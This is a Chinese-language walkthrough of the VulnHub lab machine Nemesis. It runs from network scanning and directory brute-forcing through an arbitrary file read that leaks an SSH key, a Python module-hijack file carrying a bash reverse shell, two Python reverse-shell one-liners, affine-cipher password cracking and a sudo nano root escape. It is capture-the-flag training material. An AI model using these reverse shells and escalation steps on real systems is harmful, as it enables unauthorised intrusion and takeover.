靶机下载地址: https://www.vulnhub.com/entry/ia-nemesis-101,582/
教程链接地址: https://www.infosecarticles.com/nemesis-vulnhub-walkthrough/

# 确认攻击目标

攻击机 KALI: 192.168.0.135 (由于设置成了 DHCP、可能多变)
靶机 NEMESIS:桥接于 192.168.0.1 的网卡,ip 未知

1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机 ip
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | uniq

Image

2 )粗略的识别一下该 ip 上开放了哪些端口
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | xargs sudo nmap -PA

Image

-> 靶机 ip:192.168.0.184 靶机开放端口 80

3 )对靶机开放的端口做更深一步的检索,检索各个服务上的详细信息

Image

检索到的有效服务如下所示:
52846 ssh:可尝试 ssh 爆破与一些对应版本漏洞利用
80 52845 http:可对 web 进行渗透测试收集信息

# 目录扫描

打开 http://192.168.0.184/ 进行信息收集

Image

到处看了看,发现有一个用户名和密码

Login Details => username : hacker_in_the_town password : thanos

Image

找到登陆界面,用这个账户密码尝试登陆

Image

登陆成功,但是进入到登陆后的界面,查询之后没有任何发现

Image

用字典爆破目录,收集目录信息信息

gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory- list-2.3-medium.txt -u http://192.168.0.184/

Image

依次访问几个目录发现没有比较明显的漏洞,换个字典,在爆破一波目录

gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirb/common.txt -u http://192.168.0.184/

Image

爆出来的目录里边都没有什么发现,看一下下一个端口网站

打开 http://192.168.0.184:52845/ 进行信息收集

Image

gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.0.184:52845

Image

gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirb/common.txt -u http://192.168.0.184:52845/

Image

目录都没有什么问题,看来只能对页面的功能点尝试了

# 任意文件读取

在如下界面中,找到一个发送信息的功能,输入了如下信息之后发现有回显

Image

点击发送消息后,读取到了 passwd 文件,审查源代码进行规范化,我们拿到了有 shell 的三个用户分别为 root,carlos,thanos

Image

既然能读取文件,不妨测试一下是否能读到私钥文件,通过私钥文件登陆靶机

依次读取这三个用户下的.ssh 文件夹下的 id_rsa 文件

Image

root 下的没有读取到,可能是做了权限设置或者不存在私钥文件

Image

thanos 下的读取到了,审查源代码处复制私钥到本地

Image

最后把 carlos 下的私钥文件看看

Image

这个用户下的私钥文件也没有读取到

Image

# 特权用户计划任务

根据泄漏的私钥文件登陆到靶机中,注意修改私钥文件的权限
chmod 600 thanos_id_rsa
ssh thanos@192.168.31.47 -p 52846 -i ~/Desktop/vulnhub/nemesis/thanos_id_rsa

Image

在靶机上看到了一个备份文件内容如下

Image

上传 pspy 监控,看这个备份脚本有没有定期被执行
wget 192.168.0.168/pspy64s -q ;chmod +x pspy64s;./pspy64s

Image

看到这个 UID=1000 的用户定期执行了 backup.py 这个脚本,而在前面收集到的 /etc/passwd 文件可知,UID=1000 的用户是 carlos

Image

分析这个备份文件,可知它引入了 zipfile 这个包,而它会优先在同一目录下寻找 zipfile,当脚本将被执行时,它不会使用 zipfile 模块,而是会导入我们的恶意软件 zipfile.py,并且我们的反向 shell 也会被执行。

1
2
3
4
5
6
7
8
9
10
11
12
# 可在本地尝试此命令是否能反弹shell:
cat > zipfile.py << EOF
ZIP_DEFLATED = 0
class ZipFile:
def close(*args):
return
def write(*args):
return
def __init__(self, *args):
return
__import__('os').system('bash -c "bash -i>& /dev/tcp/192.168.0.168/4444 0>&1"')
EOF
Image

# py 反弹 shell 优化

1
2
3
4
5
# 也可以不用借助bash直接用python来反弹shell,本地测试能否用在上靶机
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.168",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

# 上面的这个脚本不会反弹处标准shell,下面的这个会反弹处标准终端
python -c 'import socket,pty,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.168",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/bash");s.close()'

# 仿射加密法解密

现在成功拿到了 carlos 用户,即 UID= 1000 用户的终端,看到一个加密脚本仿射加密法与单码加密法没什么不同,因为明文的每个字母分别只映射到一个密文字母。仿射密码的加密算法就是一个线性变换,即对任意的明文字符 x,对应的密文字符为 y=e (x)=ax+b (mod26),其中,a,b∈Z 26 ,且要求 gcd (a, 26 )= 1 , 函数 e (x) 称为仿射加密函数。

Image

并且在此目录下找到了一个文件提示说密码为

The password format is “****FUN

此脚本的作用就是将原密码加密后变成了 FAJSRWOXLAXDQZAWNDDVLSU 要两个 key 值,知道 FUN 经过加密后变成了 QZA,依此推断 key 的范围。关于更多放射密码可访问 https://en.wikipedia.org/wiki/Affine_cipher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
cat > 1.py << EOF
import sys
def affine_encrypt(text, key):
return ''.join([ chr((( key[0]*(ord(t) - ord('A')) + key[1] ) % 26) + ord('A')) for t in text.upper().replace(' ', '') ])

if __name__ == '__main__':
affine_text="FUN"
for key0 in range(65, 91):
for key1 in range(65, 91):
encrypt_text = affine_encrypt(affine_text, [key0, key1])
if encrypt_text == "QZA":
print(key0,key1)
sys.exit(0)
EOF
Image

得到 key 为( 89 , 65 )之后,编写解密文件,进行解密密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat > 2.py << EOF
def affine_decrypt(cipher):
text = []
for t in cipher:
b = ord(t) - ord('A')
for x in range(0, 26):
result = (65 + x*89 - b) % 26
if result == 0:
text.append(chr(x + ord('A')))
break
print(''.join(text))

if __name__ == '__main__':
affine_encrypted_text = "FAJSRWOXLAXDQZAWNDDVLSU"
affine_decrypt(affine_encrypted_text)
EOF
Image

得到的密码测试之后是属于 carlos 用户的密码

Image

# sudo (nano) 提权

有了密码之后可以看到 carlos 用户权限设置

Image

nano 的权限设置错误了

1
2
3
4
5
# 查看gtfobins找到了提权命令
sudo /bin/nano /opt/priv
Ctrl + R
Ctrl + X
reset; sh 1>&0 2>&0
Image

-> 成功拿到了 root 权限

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝